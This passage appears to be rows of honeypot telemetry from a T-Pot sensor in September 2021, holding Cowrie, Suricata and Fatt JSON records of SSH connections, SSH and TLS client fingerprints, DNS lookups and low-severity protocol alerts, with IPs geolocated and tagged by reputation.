"aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2331, "dest_port": 22, "timestamp": "2021-09-20T12:18:31.815410", "@timestamp": "2021-09-20T12:18:31.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36967	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:18:30.229174+03	2021-09-20 15:30:02.990869+03	{"_id": "QwYkA3wBvYTbRNuEuWa9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6f90724c74bc", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:18:30.229174Z", "@timestamp": "2021-09-20T12:18:30.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36968	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:18:31.815981+03	2021-09-20 15:30:02.991867+03	{"_id": "TgYkA3wBvYTbRNuEvWam", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "20edfaad0f5c", "@version": "1", "timestamp": "2021-09-20T12:18:31.815981Z", "@timestamp": "2021-09-20T12:18:31.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36969	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:18:31.815329+03	2021-09-20 15:30:02.992869+03	{"_id": "UQYkA3wBvYTbRNuEvmau", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 1775657526209595, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2331, "dest_port": 22, "timestamp": "2021-09-20T12:18:31.815329Z", "@timestamp": "2021-09-20T12:18:31.815Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36970	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:31.531688+03	2021-09-20 15:30:02.993869+03	{"_id": "VAYkA3wBvYTbRNuEv2aj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2331, "timestamp": "2021-09-20T12:18:31.531688", "@timestamp": "2021-09-20T12:18:31.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36971	20.82.19.171	109.199.241.180	Suricata	2021-09-20 15:18:32.383422+03	2021-09-20 15:30:02.995867+03	{"_id": "VgYkA3wBvYTbRNuEwmaX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:32.383422+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "20.82.19.171", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "20.82.19.171", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 430102254508478, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62646, "timestamp": "2021-09-20T12:18:32.383422Z", "@timestamp": "2021-09-20T12:18:32.383Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36972	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:18:23.38548+03	2021-09-20 15:30:02.996869+03	{"_id": "LQYkA3wBvYTbRNuEn2Zp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:22.741413+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 447}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 704804067102757, "payload": "FwMDACIJfFoB7bVsTromPRqzCFCHZVQQoNkkjTRf1x7wScuPHQc6", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 38032, "timestamp": "2021-09-20T12:18:23.385480Z", "@timestamp": "2021-09-20T12:18:23.385Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".|Z...lN.&=...P.eT...$.4_...I....:"}}	1	\N	\N	alert	\N	US
36973	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:25.29573+03	2021-09-20 15:30:02.997869+03	{"_id": "LgYkA3wBvYTbRNuEp2Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 16, "bytes_toclient": 0, "bytes_toserver": 1500}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:25.295730Z", "@timestamp": "2021-09-20T12:18:25.295Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36974	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:25.296517+03	2021-09-20 15:30:02.999869+03	{"_id": "LwYkA3wBvYTbRNuEp2Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:25.296517Z", "@timestamp": "2021-09-20T12:18:25.296Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36975	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:25.7099+03	2021-09-20 15:30:03.001868+03	{"_id": "MAYkA3wBvYTbRNuEp2Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:25.709900Z", "@timestamp": "2021-09-20T12:18:25.709Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36981	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:25.710566+03	2021-09-20 15:30:03.009869+03	{"_id": "MQYkA3wBvYTbRNuEp2Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 17, "bytes_toclient": 0, "bytes_toserver": 1590}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:25.710566Z", "@timestamp": "2021-09-20T12:18:25.710Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36976	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:18:27.570087+03	2021-09-20 15:30:03.002867+03	{"_id": "NAYkA3wBvYTbRNuEr2YL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8963, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1567, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 349642484329392, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 60538, "timestamp": "2021-09-20T12:18:27.570087Z", "@timestamp": "2021-09-20T12:18:27.570Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36977	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:18:27.658461+03	2021-09-20 15:30:03.00487+03	{"_id": "OwYkA3wBvYTbRNuEsGZH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36346, "timestamp": "2021-09-20T12:18:27.658461", "@timestamp": "2021-09-20T12:18:27.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36978	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:18:30.226013+03	2021-09-20 15:30:03.005868+03	{"_id": "QgYkA3wBvYTbRNuEuWa9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:53104 (192.168.176.2:22) [session: 6f90724c74bc]", "session": "6f90724c74bc", "@version": "1", "protocol": "ssh", "src_port": 53104, "dest_port": 22, "timestamp": "2021-09-20T12:18:30.226013Z", "@timestamp": "2021-09-20T12:18:30.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36979	113.105.80.34	109.199.241.180	Fatt	2021-09-20 15:18:30.50529+03	2021-09-20 15:30:03.006867+03	{"_id": "SQYkA3wBvYTbRNuEvGYB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53104, "dest_port": 22, "timestamp": "2021-09-20T12:18:30.505290", "@timestamp": "2021-09-20T12:18:30.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36980	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:18:31.527459+03	2021-09-20 15:30:03.007868+03	{"_id": "TQYkA3wBvYTbRNuEvWam", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2331 (192.168.176.2:22) [session: 20edfaad0f5c]", "session": "20edfaad0f5c", "@version": "1", "protocol": "ssh", "src_port": 2331, "dest_port": 22, "timestamp": "2021-09-20T12:18:31.527459Z", "@timestamp": "2021-09-20T12:18:31.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36982	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:18:27.56824+03	2021-09-20 15:30:03.010868+03	{"_id": "MwYkA3wBvYTbRNuEr2YK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 8963, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 349642484329392, "@version": "1", "in_iface": "enp5s0", "src_port": 60538, "dest_port": 53, "timestamp": "2021-09-20T12:18:27.568240Z", "@timestamp": "2021-09-20T12:18:27.568Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36983	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:27.617936+03	2021-09-20 15:30:03.011869+03	{"_id": "NgYkA3wBvYTbRNuEsGZH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36346, "dest_port": 443, "timestamp": "2021-09-20T12:18:27.617936", "@timestamp": "2021-09-20T12:18:27.617Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36984	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:18.4532+03	2021-09-20 15:30:03.012868+03	{"_id": "FwYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:18.453200Z", "@timestamp": "2021-09-20T12:18:18.453Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
